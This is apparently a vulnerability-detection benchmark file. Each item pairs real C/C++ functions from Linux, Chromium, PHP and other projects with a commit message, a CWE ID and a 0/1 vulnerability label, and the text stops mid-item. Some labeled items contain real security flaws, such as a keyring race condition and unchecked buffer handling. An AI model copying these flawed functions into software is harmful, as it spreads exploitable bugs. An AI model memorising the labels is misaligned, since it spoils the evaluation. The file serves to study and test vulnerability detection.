git-svn-id: svn://svn.chromium.org/chrome/trunk/src@97986 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-264
| 0
| 98,603
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ar6000_sysfs_bmi_read(struct file *fp, struct kobject *kobj,
struct bin_attribute *bin_attr,
char *buf, loff_t pos, size_t count)
{
int index;
struct ar6_softc *ar;
struct hif_device_os_device_info *osDevInfo;
AR_DEBUG_PRINTF(ATH_DEBUG_INFO,("BMI: Read %d bytes\n", (u32)count));
for (index=0; index < MAX_AR6000; index++) {
ar = (struct ar6_softc *)ar6k_priv(ar6000_devices[index]);
osDevInfo = &ar->osDevInfo;
if (kobj == (&(((struct device *)osDevInfo->pOSDevice)->kobj))) {
break;
}
}
if (index == MAX_AR6000) return 0;
if ((BMIRawRead(ar->arHifDevice, (u8*)buf, count, true)) != 0) {
return 0;
}
return count;
}
Commit Message: net: Audit drivers to identify those needing IFF_TX_SKB_SHARING cleared
After the last patch, We are left in a state in which only drivers calling
ether_setup have IFF_TX_SKB_SHARING set (we assume that drivers touching real
hardware call ether_setup for their net_devices and don't hold any state in
their skbs. There are a handful of drivers that violate this assumption of
course, and need to be fixed up. This patch identifies those drivers, and marks
them as not being able to support the safe transmission of skbs by clearning the
IFF_TX_SKB_SHARING flag in priv_flags
Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
CC: Karsten Keil <isdn@linux-pingi.de>
CC: "David S. Miller" <davem@davemloft.net>
CC: Jay Vosburgh <fubar@us.ibm.com>
CC: Andy Gospodarek <andy@greyhouse.net>
CC: Patrick McHardy <kaber@trash.net>
CC: Krzysztof Halasa <khc@pm.waw.pl>
CC: "John W. Linville" <linville@tuxdriver.com>
CC: Greg Kroah-Hartman <gregkh@suse.de>
CC: Marcel Holtmann <marcel@holtmann.org>
CC: Johannes Berg <johannes@sipsolutions.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-264
| 0
| 24,229
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PHP_FUNCTION(similar_text)
{
zend_string *t1, *t2;
zval *percent = NULL;
int ac = ZEND_NUM_ARGS();
size_t sim;
if (zend_parse_parameters(ZEND_NUM_ARGS(), "SS|z/", &t1, &t2, &percent) == FAILURE) {
return;
}
if (ac > 2) {
convert_to_double_ex(percent);
}
if (ZSTR_LEN(t1) + ZSTR_LEN(t2) == 0) {
if (ac > 2) {
Z_DVAL_P(percent) = 0;
}
RETURN_LONG(0);
}
sim = php_similar_char(ZSTR_VAL(t1), ZSTR_LEN(t1), ZSTR_VAL(t2), ZSTR_LEN(t2));
if (ac > 2) {
Z_DVAL_P(percent) = sim * 200.0 / (ZSTR_LEN(t1) + ZSTR_LEN(t2));
}
RETURN_LONG(sim);
}
Commit Message:
CWE ID: CWE-17
| 0
| 14,637
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: GF_Err stsg_dump(GF_Box *a, FILE * trace)
{
u32 i;
GF_SubTrackSampleGroupBox *p = (GF_SubTrackSampleGroupBox *)a;
gf_isom_box_dump_start(a, "SubTrackSampleGroupBox", trace);
if (p->grouping_type)
fprintf(trace, "grouping_type=\"%s\"", gf_4cc_to_str(p->grouping_type) );
fprintf(trace, ">\n");
for (i = 0; i < p->nb_groups; i++) {
fprintf(trace, "<SubTrackSampleGroupBoxEntry group_description_index=\"%d\"/>\n", p->group_description_index[i]);
}
if (!p->size)
fprintf(trace, "<SubTrackSampleGroupBoxEntry group_description_index=\"\"/>\n");
gf_isom_box_dump_done("SubTrackSampleGroupBox", a, trace);
return GF_OK;
}
Commit Message: fixed 2 possible heap overflows (inc. #1088)
CWE ID: CWE-125
| 0
| 80,855
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Browser::ShowModalSigninErrorWindow() {
signin_view_controller_.ShowModalSigninErrorDialog(this);
}
Commit Message: Don't focus the location bar for NTP navigations in non-selected tabs.
BUG=677716
TEST=See bug for repro steps.
Review-Url: https://codereview.chromium.org/2624373002
Cr-Commit-Position: refs/heads/master@{#443338}
CWE ID:
| 0
| 139,063
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int install_user_keyrings(void)
{
struct user_struct *user;
const struct cred *cred;
struct key *uid_keyring, *session_keyring;
key_perm_t user_keyring_perm;
char buf[20];
int ret;
uid_t uid;
user_keyring_perm = (KEY_POS_ALL & ~KEY_POS_SETATTR) | KEY_USR_ALL;
cred = current_cred();
user = cred->user;
uid = from_kuid(cred->user_ns, user->uid);
kenter("%p{%u}", user, uid);
if (user->uid_keyring) {
kleave(" = 0 [exist]");
return 0;
}
mutex_lock(&key_user_keyring_mutex);
ret = 0;
if (!user->uid_keyring) {
/* get the UID-specific keyring
* - there may be one in existence already as it may have been
* pinned by a session, but the user_struct pointing to it
* may have been destroyed by setuid */
sprintf(buf, "_uid.%u", uid);
uid_keyring = find_keyring_by_name(buf, true);
if (IS_ERR(uid_keyring)) {
uid_keyring = keyring_alloc(buf, user->uid, INVALID_GID,
cred, user_keyring_perm,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(uid_keyring)) {
ret = PTR_ERR(uid_keyring);
goto error;
}
}
/* get a default session keyring (which might also exist
* already) */
sprintf(buf, "_uid_ses.%u", uid);
session_keyring = find_keyring_by_name(buf, true);
if (IS_ERR(session_keyring)) {
session_keyring =
keyring_alloc(buf, user->uid, INVALID_GID,
cred, user_keyring_perm,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(session_keyring)) {
ret = PTR_ERR(session_keyring);
goto error_release;
}
/* we install a link from the user session keyring to
* the user keyring */
ret = key_link(session_keyring, uid_keyring);
if (ret < 0)
goto error_release_both;
}
/* install the keyrings */
user->uid_keyring = uid_keyring;
user->session_keyring = session_keyring;
}
mutex_unlock(&key_user_keyring_mutex);
kleave(" = 0");
return 0;
error_release_both:
key_put(session_keyring);
error_release:
key_put(uid_keyring);
error:
mutex_unlock(&key_user_keyring_mutex);
kleave(" = %d", ret);
return ret;
}
Commit Message: keys: fix race with concurrent install_user_keyrings()
This fixes CVE-2013-1792.
There is a race in install_user_keyrings() that can cause a NULL pointer
dereference when called concurrently for the same user if the uid and
uid-session keyrings are not yet created. It might be possible for an
unprivileged user to trigger this by calling keyctl() from userspace in
parallel immediately after logging in.
Assume that we have two threads both executing lookup_user_key(), both
looking for KEY_SPEC_USER_SESSION_KEYRING.
THREAD A THREAD B
=============================== ===============================
==>call install_user_keyrings();
if (!cred->user->session_keyring)
==>call install_user_keyrings()
...
user->uid_keyring = uid_keyring;
if (user->uid_keyring)
return 0;
<==
key = cred->user->session_keyring [== NULL]
user->session_keyring = session_keyring;
atomic_inc(&key->usage); [oops]
At the point thread A dereferences cred->user->session_keyring, thread B
hasn't updated user->session_keyring yet, but thread A assumes it is
populated because install_user_keyrings() returned ok.
The race window is really small but can be exploited if, for example,
thread B is interrupted or preempted after initializing uid_keyring, but
before doing setting session_keyring.
This couldn't be reproduced on a stock kernel. However, after placing
systemtap probe on 'user->session_keyring = session_keyring;' that
introduced some delay, the kernel could be crashed reliably.
Fix this by checking both pointers before deciding whether to return.
Alternatively, the test could be done away with entirely as it is checked
inside the mutex - but since the mutex is global, that may not be the best
way.
Signed-off-by: David Howells <dhowells@redhat.com>
Reported-by: Mateusz Guzik <mguzik@redhat.com>
Cc: <stable@kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: James Morris <james.l.morris@oracle.com>
CWE ID: CWE-362
| 1
| 166,121
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: views::Widget* ShellWindowViews::GetWidget() {
return window_;
}
Commit Message: [views] Remove header bar on shell windows created with {frame: none}.
BUG=130182
R=ben@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10597003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@143439 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-79
| 0
| 103,176
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: NDIS_STATUS ParaNdis6_SendPauseRestart(
PARANDIS_ADAPTER *pContext,
BOOLEAN bPause,
ONPAUSECOMPLETEPROC Callback
)
{
NDIS_STATUS status = NDIS_STATUS_SUCCESS;
DEBUG_ENTRY(4);
if (bPause)
{
ParaNdis_DebugHistory(pContext, hopInternalSendPause, NULL, 1, 0, 0);
if (pContext->SendState == srsEnabled)
{
{
CNdisPassiveWriteAutoLock tLock(pContext->m_PauseLock);
pContext->SendState = srsPausing;
pContext->SendPauseCompletionProc = Callback;
}
for (UINT i = 0; i < pContext->nPathBundles; i++)
{
if (!pContext->pPathBundles[i].txPath.Pause())
{
status = NDIS_STATUS_PENDING;
}
}
if (status == NDIS_STATUS_SUCCESS)
{
pContext->SendState = srsDisabled;
}
}
if (status == NDIS_STATUS_SUCCESS)
{
ParaNdis_DebugHistory(pContext, hopInternalSendPause, NULL, 0, 0, 0);
}
}
else
{
pContext->SendState = srsEnabled;
ParaNdis_DebugHistory(pContext, hopInternalSendResume, NULL, 0, 0, 0);
}
return status;
}
Commit Message: NetKVM: BZ#1169718: Checking the length only on read
Signed-off-by: Joseph Hindin <yhindin@rehat.com>
CWE ID: CWE-20
| 0
| 96,361
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: fetch_var_cell_from_evbuffer(struct evbuffer *buf, var_cell_t **out,
int linkproto)
{
char *hdr = NULL;
int free_hdr = 0;
size_t n;
size_t buf_len;
uint8_t command;
uint16_t cell_length;
var_cell_t *cell;
int result = 0;
const int wide_circ_ids = linkproto >= MIN_LINK_PROTO_FOR_WIDE_CIRC_IDS;
const int circ_id_len = get_circ_id_size(wide_circ_ids);
const unsigned header_len = get_var_cell_header_size(wide_circ_ids);
*out = NULL;
buf_len = evbuffer_get_length(buf);
if (buf_len < header_len)
return 0;
n = inspect_evbuffer(buf, &hdr, header_len, &free_hdr, NULL);
tor_assert(n >= header_len);
command = get_uint8(hdr + circ_id_len);
if (!(cell_command_is_var_length(command, linkproto))) {
goto done;
}
cell_length = ntohs(get_uint16(hdr + circ_id_len + 1));
if (buf_len < (size_t)(header_len+cell_length)) {
result = 1; /* Not all here yet. */
goto done;
}
cell = var_cell_new(cell_length);
cell->command = command;
if (wide_circ_ids)
cell->circ_id = ntohl(get_uint32(hdr));
else
cell->circ_id = ntohs(get_uint16(hdr));
evbuffer_drain(buf, header_len);
evbuffer_remove(buf, cell->payload, cell_length);
*out = cell;
result = 1;
done:
if (free_hdr && hdr)
tor_free(hdr);
return result;
}
Commit Message: Add a one-word sentinel value of 0x0 at the end of each buf_t chunk
This helps protect against bugs where any part of a buf_t's memory
is passed to a function that expects a NUL-terminated input.
It also closes TROVE-2016-10-001 (aka bug 20384).
CWE ID: CWE-119
| 0
| 73,174
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void netlink_sock_destruct(struct sock *sk)
{
struct netlink_sock *nlk = nlk_sk(sk);
if (nlk->cb) {
if (nlk->cb->done)
nlk->cb->done(nlk->cb);
netlink_destroy_callback(nlk->cb);
}
skb_queue_purge(&sk->sk_receive_queue);
if (!sock_flag(sk, SOCK_DEAD)) {
printk(KERN_ERR "Freeing alive netlink socket %p\n", sk);
return;
}
WARN_ON(atomic_read(&sk->sk_rmem_alloc));
WARN_ON(atomic_read(&sk->sk_wmem_alloc));
WARN_ON(nlk_sk(sk)->groups);
}
Commit Message: af_netlink: force credentials passing [CVE-2012-3520]
Pablo Neira Ayuso discovered that avahi and
potentially NetworkManager accept spoofed Netlink messages because of a
kernel bug. The kernel passes all-zero SCM_CREDENTIALS ancillary data
to the receiver if the sender did not provide such data, instead of not
including any such data at all or including the correct data from the
peer (as it is the case with AF_UNIX).
This bug was introduced in commit 16e572626961
(af_unix: dont send SCM_CREDENTIALS by default)
This patch forces passing credentials for netlink, as
before the regression.
Another fix would be to not add SCM_CREDENTIALS in
netlink messages if not provided by the sender, but it
might break some programs.
With help from Florian Weimer & Petr Matousek
This issue is designated as CVE-2012-3520
Signed-off-by: Eric Dumazet <edumazet@google.com>
Cc: Petr Matousek <pmatouse@redhat.com>
Cc: Florian Weimer <fweimer@redhat.com>
Cc: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-287
| 0
| 19,259
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: MagickExport void DestroyImagePixels(Image *image)
{
CacheInfo
*magick_restrict cache_info;
assert(image != (const Image *) NULL);
assert(image->signature == MagickSignature);
if (image->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename);
assert(image->cache != (Cache) NULL);
cache_info=(CacheInfo *) image->cache;
assert(cache_info->signature == MagickSignature);
if (cache_info->methods.destroy_pixel_handler != (DestroyPixelHandler) NULL)
{
cache_info->methods.destroy_pixel_handler(image);
return;
}
image->cache=DestroyPixelCache(image->cache);
}
Commit Message: http://www.imagemagick.org/discourse-server/viewtopic.php?f=2&t=28946
CWE ID: CWE-399
| 0
| 73,451
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: cmsBool CMSEXPORT cmsIT8SetPropertyDbl(cmsHANDLE hIT8, const char* cProp, cmsFloat64Number Val)
{
cmsIT8* it8 = (cmsIT8*) hIT8;
char Buffer[1024];
snprintf(Buffer, 1023, it8->DoubleFormatter, Val);
return AddToList(it8, &GetTable(it8)->HeaderList, cProp, NULL, Buffer, WRITE_UNCOOKED) != NULL;
}
Commit Message: Upgrade Visual studio 2017 15.8
- Upgrade to 15.8
- Add check on CGATS memory allocation (thanks to Quang Nguyen for
pointing out this)
CWE ID: CWE-190
| 0
| 78,083
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: RSA_generate_key (int bits, unsigned long e_value, void (*callback) (int, int, void *), void *cb_arg)
{
BN_GENCB cb;
int i;
RSA *rsa = RSA_new ();
BIGNUM *e = BN_new ();
if (!rsa || !e)
goto err;
/* The problem is when building with 8, 16, or 32 BN_ULONG,
* unsigned long can be larger */
for (i = 0; i < (int) sizeof (unsigned long) * 8; i++) {
if (e_value & (1UL << i))
if (BN_set_bit (e, i) == 0)
goto err;
}
BN_GENCB_set_old (&cb, callback, cb_arg);
if (RSA_generate_key_ex (rsa, bits, e, &cb)) {
BN_free (e);
return rsa;
}
err:
if (e)
BN_free (e);
if (rsa)
RSA_free (rsa);
return 0;
}
Commit Message:
CWE ID: CWE-189
| 0
| 17,297
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool IsMojoBlobsEnabled() {
return base::FeatureList::IsEnabled(features::kMojoBlobs) ||
base::FeatureList::IsEnabled(features::kNetworkService);
}
Commit Message: Roll src/third_party/boringssl/src 664e99a64..696c13bd6
https://boringssl.googlesource.com/boringssl/+log/664e99a6486c293728097c661332f92bf2d847c6..696c13bd6ab78011adfe7b775519c8b7cc82b604
BUG=778101
Change-Id: I8dda4f3db952597148e3c7937319584698d00e1c
Reviewed-on: https://chromium-review.googlesource.com/747941
Reviewed-by: Avi Drissman <avi@chromium.org>
Reviewed-by: David Benjamin <davidben@chromium.org>
Commit-Queue: Steven Valdez <svaldez@chromium.org>
Cr-Commit-Position: refs/heads/master@{#513774}
CWE ID: CWE-310
| 0
| 150,488
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void GrantRequestOfSpecificFile(const base::FilePath &file) {
request_file_set_.insert(file.StripTrailingSeparators());
}
Commit Message: This patch implements a mechanism for more granular link URL permissions (filtering on scheme/host). This fixes the bug that allowed PDFs to have working links to any "chrome://" URLs.
BUG=528505,226927
Review URL: https://codereview.chromium.org/1362433002
Cr-Commit-Position: refs/heads/master@{#351705}
CWE ID: CWE-264
| 0
| 125,158
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ChromeNetworkDelegate::OnRequestWaitStateChange(
const net::URLRequest& request,
RequestWaitState state) {
if (load_time_stats_)
load_time_stats_->OnRequestWaitStateChange(request, state);
}
Commit Message: Added daily UMA for non-data-reduction-proxy data usage when the proxy is enabled.
BUG=325325
Review URL: https://codereview.chromium.org/106113002
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@239897 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-416
| 0
| 113,573
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void pmcraid_io_done(struct pmcraid_cmd *cmd)
{
u32 ioasc = le32_to_cpu(cmd->ioa_cb->ioasa.ioasc);
u32 reslen = le32_to_cpu(cmd->ioa_cb->ioasa.residual_data_length);
if (_pmcraid_io_done(cmd, reslen, ioasc) == 0)
pmcraid_return_cmd(cmd);
}
Commit Message: [SCSI] pmcraid: reject negative request size
There's a code path in pmcraid that can be reached via device ioctl that
causes all sorts of ugliness, including heap corruption or triggering the
OOM killer due to consecutive allocation of large numbers of pages.
First, the user can call pmcraid_chr_ioctl(), with a type
PMCRAID_PASSTHROUGH_IOCTL. This calls through to
pmcraid_ioctl_passthrough(). Next, a pmcraid_passthrough_ioctl_buffer
is copied in, and the request_size variable is set to
buffer->ioarcb.data_transfer_length, which is an arbitrary 32-bit
signed value provided by the user. If a negative value is provided
here, bad things can happen. For example,
pmcraid_build_passthrough_ioadls() is called with this request_size,
which immediately calls pmcraid_alloc_sglist() with a negative size.
The resulting math on allocating a scatter list can result in an
overflow in the kzalloc() call (if num_elem is 0, the sglist will be
smaller than expected), or if num_elem is unexpectedly large the
subsequent loop will call alloc_pages() repeatedly, a high number of
pages will be allocated and the OOM killer might be invoked.
It looks like preventing this value from being negative in
pmcraid_ioctl_passthrough() would be sufficient.
Signed-off-by: Dan Rosenberg <drosenberg@vsecurity.com>
Cc: <stable@kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: James Bottomley <JBottomley@Parallels.com>
CWE ID: CWE-189
| 0
| 26,464
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: OMX_ERRORTYPE omx_video::allocate_output_buffer(
OMX_IN OMX_HANDLETYPE hComp,
OMX_INOUT OMX_BUFFERHEADERTYPE** bufferHdr,
OMX_IN OMX_U32 port,
OMX_IN OMX_PTR appData,
OMX_IN OMX_U32 bytes)
{
(void)hComp, (void)port;
OMX_ERRORTYPE eRet = OMX_ErrorNone;
OMX_BUFFERHEADERTYPE *bufHdr= NULL; // buffer header
unsigned i= 0; // Temporary counter
#ifdef _MSM8974_
int align_size;
#endif
DEBUG_PRINT_HIGH("allocate_output_buffer()for %u bytes", (unsigned int)bytes);
if (!m_out_mem_ptr) {
int nBufHdrSize = 0;
DEBUG_PRINT_HIGH("%s: size = %u, actual cnt %u", __FUNCTION__,
(unsigned int)m_sOutPortDef.nBufferSize, (unsigned int)m_sOutPortDef.nBufferCountActual);
nBufHdrSize = m_sOutPortDef.nBufferCountActual * sizeof(OMX_BUFFERHEADERTYPE);
/*
* Memory for output side involves the following:
* 1. Array of Buffer Headers
* 2. Bitmask array to hold the buffer allocation details
* In order to minimize the memory management entire allocation
* is done in one step.
*/
m_out_mem_ptr = (OMX_BUFFERHEADERTYPE *)calloc(nBufHdrSize,1);
#ifdef USE_ION
m_pOutput_ion = (struct venc_ion *) calloc(sizeof (struct venc_ion), m_sOutPortDef.nBufferCountActual);
if (m_pOutput_ion == NULL) {
DEBUG_PRINT_ERROR("ERROR: calloc() Failed for m_pOutput_ion");
return OMX_ErrorInsufficientResources;
}
#endif
m_pOutput_pmem = (struct pmem *) calloc(sizeof(struct pmem), m_sOutPortDef.nBufferCountActual);
if (m_pOutput_pmem == NULL) {
DEBUG_PRINT_ERROR("ERROR: calloc() Failed for m_pOutput_pmem");
return OMX_ErrorInsufficientResources;
}
if (m_out_mem_ptr && m_pOutput_pmem) {
bufHdr = m_out_mem_ptr;
for (i=0; i < m_sOutPortDef.nBufferCountActual ; i++) {
bufHdr->nSize = sizeof(OMX_BUFFERHEADERTYPE);
bufHdr->nVersion.nVersion = OMX_SPEC_VERSION;
bufHdr->nAllocLen = bytes;
bufHdr->nFilledLen = 0;
bufHdr->pAppPrivate = appData;
bufHdr->nOutputPortIndex = PORT_INDEX_OUT;
bufHdr->pOutputPortPrivate = (OMX_PTR)&m_pOutput_pmem[i];
bufHdr->pBuffer = NULL;
bufHdr++;
m_pOutput_pmem[i].fd = -1;
#ifdef USE_ION
m_pOutput_ion[i].ion_device_fd =-1;
m_pOutput_ion[i].fd_ion_data.fd=-1;
m_pOutput_ion[i].ion_alloc_data.handle = 0;
#endif
}
} else {
DEBUG_PRINT_ERROR("ERROR: calloc() failed for m_out_mem_ptr/m_pOutput_pmem");
eRet = OMX_ErrorInsufficientResources;
}
}
DEBUG_PRINT_HIGH("actual cnt = %u", (unsigned int)m_sOutPortDef.nBufferCountActual);
for (i=0; i< m_sOutPortDef.nBufferCountActual; i++) {
if (BITMASK_ABSENT(&m_out_bm_count,i)) {
DEBUG_PRINT_LOW("Found a Free Output Buffer %d",i);
break;
}
}
if (eRet == OMX_ErrorNone) {
if (i < m_sOutPortDef.nBufferCountActual) {
#ifdef USE_ION
#ifdef _MSM8974_
align_size = ((m_sOutPortDef.nBufferSize + 4095)/4096) * 4096;
m_pOutput_ion[i].ion_device_fd = alloc_map_ion_memory(align_size,
&m_pOutput_ion[i].ion_alloc_data,
&m_pOutput_ion[i].fd_ion_data, ION_FLAG_CACHED);
#else
m_pOutput_ion[i].ion_device_fd = alloc_map_ion_memory(m_sOutPortDef.nBufferSize,
&m_pOutput_ion[i].ion_alloc_data,
&m_pOutput_ion[i].fd_ion_data,ION_FLAG_CACHED);
#endif
if (m_pOutput_ion[i].ion_device_fd < 0) {
DEBUG_PRINT_ERROR("ERROR:ION device open() Failed");
return OMX_ErrorInsufficientResources;
}
m_pOutput_pmem[i].fd = m_pOutput_ion[i].fd_ion_data.fd;
#else
m_pOutput_pmem[i].fd = open (MEM_DEVICE,O_RDWR);
if (m_pOutput_pmem[i].fd == 0) {
m_pOutput_pmem[i].fd = open (MEM_DEVICE,O_RDWR);
}
if (m_pOutput_pmem[i].fd < 0) {
DEBUG_PRINT_ERROR("ERROR: /dev/pmem_adsp open() failed");
return OMX_ErrorInsufficientResources;
}
#endif
m_pOutput_pmem[i].size = m_sOutPortDef.nBufferSize;
m_pOutput_pmem[i].offset = 0;
m_pOutput_pmem[i].buffer = (OMX_U8 *)SECURE_BUFPTR;
if(!secure_session) {
#ifdef _MSM8974_
m_pOutput_pmem[i].buffer = (unsigned char *)mmap(NULL,
align_size,PROT_READ|PROT_WRITE,
MAP_SHARED,m_pOutput_pmem[i].fd,0);
#else
m_pOutput_pmem[i].buffer = (unsigned char *)mmap(NULL,
m_pOutput_pmem[i].size,PROT_READ|PROT_WRITE,
MAP_SHARED,m_pOutput_pmem[i].fd,0);
#endif
if (m_pOutput_pmem[i].buffer == MAP_FAILED) {
DEBUG_PRINT_ERROR("ERROR: MMAP_FAILED in o/p alloc buffer");
close (m_pOutput_pmem[i].fd);
#ifdef USE_ION
free_ion_memory(&m_pOutput_ion[i]);
#endif
return OMX_ErrorInsufficientResources;
}
}
else {
m_pOutput_pmem[i].buffer = malloc(sizeof(OMX_U32) + sizeof(native_handle_t*));
(*bufferHdr)->nAllocLen = sizeof(OMX_U32) + sizeof(native_handle_t*);
native_handle_t *handle = native_handle_create(1, 0);
handle->data[0] = m_pOutput_pmem[i].fd;
char *data = (char*) m_pOutput_pmem[i].buffer;
OMX_U32 type = 1;
memcpy(data, &type, sizeof(OMX_U32));
memcpy(data + sizeof(OMX_U32), &handle, sizeof(native_handle_t*));
}
*bufferHdr = (m_out_mem_ptr + i );
(*bufferHdr)->pBuffer = (OMX_U8 *)m_pOutput_pmem[i].buffer;
(*bufferHdr)->pAppPrivate = appData;
BITMASK_SET(&m_out_bm_count,i);
if (dev_use_buf(&m_pOutput_pmem[i],PORT_INDEX_OUT,i) != true) {
DEBUG_PRINT_ERROR("ERROR: dev_use_buf FAILED for o/p buf");
return OMX_ErrorInsufficientResources;
}
} else {
DEBUG_PRINT_ERROR("ERROR: All o/p buffers are allocated, invalid allocate buf call"
"for index [%d] actual: %u", i, (unsigned int)m_sOutPortDef.nBufferCountActual);
}
}
return eRet;
}
Commit Message: DO NOT MERGE mm-video-v4l2: venc: add checks before accessing heap pointers
Heap pointers do not point to user virtual addresses in case
of secure session.
Set them to NULL and add checks to avoid accesing them
Bug: 28815329
Bug: 28920116
Change-Id: I94fd5808e753b58654d65e175d3857ef46ffba26
CWE ID: CWE-200
| 1
| 173,502
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: ChromeDownloadManagerDelegate::~ChromeDownloadManagerDelegate() {
}
Commit Message: Refactors to simplify rename pathway in DownloadFileManager.
This is https://chromiumcodereview.appspot.com/10668004 / r144817 (reverted
due to CrOS failure) with the completion logic moved to after the
auto-opening. The tests that test the auto-opening (for web store install)
were waiting for download completion to check install, and hence were
failing when completion was moved earlier.
Doing this right would probably require another state (OPENED).
BUG=123998
BUG-134930
R=asanka@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10701040
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@145157 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-119
| 0
| 106,031
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: SPL_METHOD(SplPriorityQueue, compare)
{
zval *a, *b;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "zz", &a, &b) == FAILURE) {
return;
}
RETURN_LONG(spl_ptr_heap_zval_max_cmp(a, b, NULL TSRMLS_CC));
}
Commit Message:
CWE ID:
| 0
| 14,884
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: explicit SlowStringWrapperElementsAccessor(const char* name)
: StringWrapperElementsAccessor<
SlowStringWrapperElementsAccessor, DictionaryElementsAccessor,
ElementsKindTraits<SLOW_STRING_WRAPPER_ELEMENTS>>(name) {}
Commit Message: Backport: Fix Object.entries/values with changing elements
Bug: 111274046
Test: m -j proxy_resolver_v8_unittest && adb sync && adb shell \
/data/nativetest64/proxy_resolver_v8_unittest/proxy_resolver_v8_unittest
Change-Id: I705fc512cc5837e9364ed187559cc75d079aa5cb
(cherry picked from commit d8be9a10287afed07705ac8af027d6a46d4def99)
CWE ID: CWE-704
| 0
| 163,193
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int parse_integer(char **c, int *dst)
{
struct token t;
char *s = *c;
get_token(c, &t, L_SLITERAL);
if (t.type != T_STRING) {
printf("Expected string: %.*s\n", (int)(*c - s), s);
return -EINVAL;
}
*dst = simple_strtol(t.val, NULL, 10);
free(t.val);
return 1;
}
Commit Message: Merge branch '2020-01-22-master-imports'
- Re-add U8500 platform support
- Add bcm968360bg support
- Assorted Keymile fixes
- Other assorted bugfixes
CWE ID: CWE-787
| 0
| 89,346
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void *m_start(struct seq_file *m, loff_t *pos)
{
struct proc_mounts *p = m->private;
down_read(&namespace_sem);
if (p->cached_event == p->ns->event) {
void *v = p->cached_mount;
if (*pos == p->cached_index)
return v;
if (*pos == p->cached_index + 1) {
v = seq_list_next(v, &p->ns->list, &p->cached_index);
return p->cached_mount = v;
}
}
p->cached_event = p->ns->event;
p->cached_mount = seq_list_start(&p->ns->list, *pos);
p->cached_index = *pos;
return p->cached_mount;
}
Commit Message: mnt: Add a per mount namespace limit on the number of mounts
CAI Qian <caiqian@redhat.com> pointed out that the semantics
of shared subtrees make it possible to create an exponentially
increasing number of mounts in a mount namespace.
mkdir /tmp/1 /tmp/2
mount --make-rshared /
for i in $(seq 1 20) ; do mount --bind /tmp/1 /tmp/2 ; done
Will create create 2^20 or 1048576 mounts, which is a practical problem
as some people have managed to hit this by accident.
As such CVE-2016-6213 was assigned.
Ian Kent <raven@themaw.net> described the situation for autofs users
as follows:
> The number of mounts for direct mount maps is usually not very large because of
> the way they are implemented, large direct mount maps can have performance
> problems. There can be anywhere from a few (likely case a few hundred) to less
> than 10000, plus mounts that have been triggered and not yet expired.
>
> Indirect mounts have one autofs mount at the root plus the number of mounts that
> have been triggered and not yet expired.
>
> The number of autofs indirect map entries can range from a few to the common
> case of several thousand and in rare cases up to between 30000 and 50000. I've
> not heard of people with maps larger than 50000 entries.
>
> The larger the number of map entries the greater the possibility for a large
> number of active mounts so it's not hard to expect cases of a 1000 or somewhat
> more active mounts.
So I am setting the default number of mounts allowed per mount
